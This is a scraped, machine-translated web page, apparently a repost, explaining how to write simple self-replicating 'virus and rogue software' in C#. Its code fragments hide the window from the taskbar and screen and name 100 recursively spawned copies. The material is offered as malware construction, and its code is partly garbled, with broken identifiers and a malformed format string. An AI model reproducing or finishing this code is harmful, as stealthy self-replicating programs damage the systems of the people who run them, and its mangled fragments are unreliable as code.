Simple implementation of virus and rogue software self-replication (C #)

Source: Internet
Author: User
Program The following functions must be implemented.

First, the running interface is not displayed during running. Of course, you can still see the process in the task manager, and the virus that is deep on the road cannot be traced.

Second, the program copies n copies in the running directory.

Third, recursive replication is used, that is, the first program generates the second program, the second program generates the third program, and so on.

Source codeIt is easy to analyze:

The following is a reference clip:
35 // not displayed on the taskbar
36 This. showintaskbar = false;
37 // transparent form
38 This. Opacity = 0;

System. windows. forms. the Form class encapsulates most of the features of a common Windows window program, greatly simplifying the design process of the window interface. The above two attributes are used to hide the running status of our program, the first showintaskbar attribute, if this parameter is set to no, the program will not be displayed on the status bar. The second opacity attribute indicates the opacity of the window. The value ranges from 0 to 100. The opacity of 0% is 100% transparent. In this way, when the program runs, you will not be able to see the form.

The following is a reference clip:
44 // default number of copies
45 const int Total = 100;
46 int _ COUNT = total;
47 // The path and file name of the running program
48 string _ file = application. executablepath;
49 // program path in progress
50 string _ Path = application. startuppath;
51 // name of the program in progress
52 string _ name = _ file. replace (string. format ("{0 }\\", _ path), String. empty ). tolower ();
53 try
54 {
55 _ COUNT = int. parse (_ name. replace (". EXE ", String. empty);
56 _ count --;
57}
58 catch
59 {
60}
61 finally
62 {
63}
64/ /target file
65 string _ target = string. format ("{0 }\\ {1cmd.exe", _ path, _ count. tostring ("000");

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.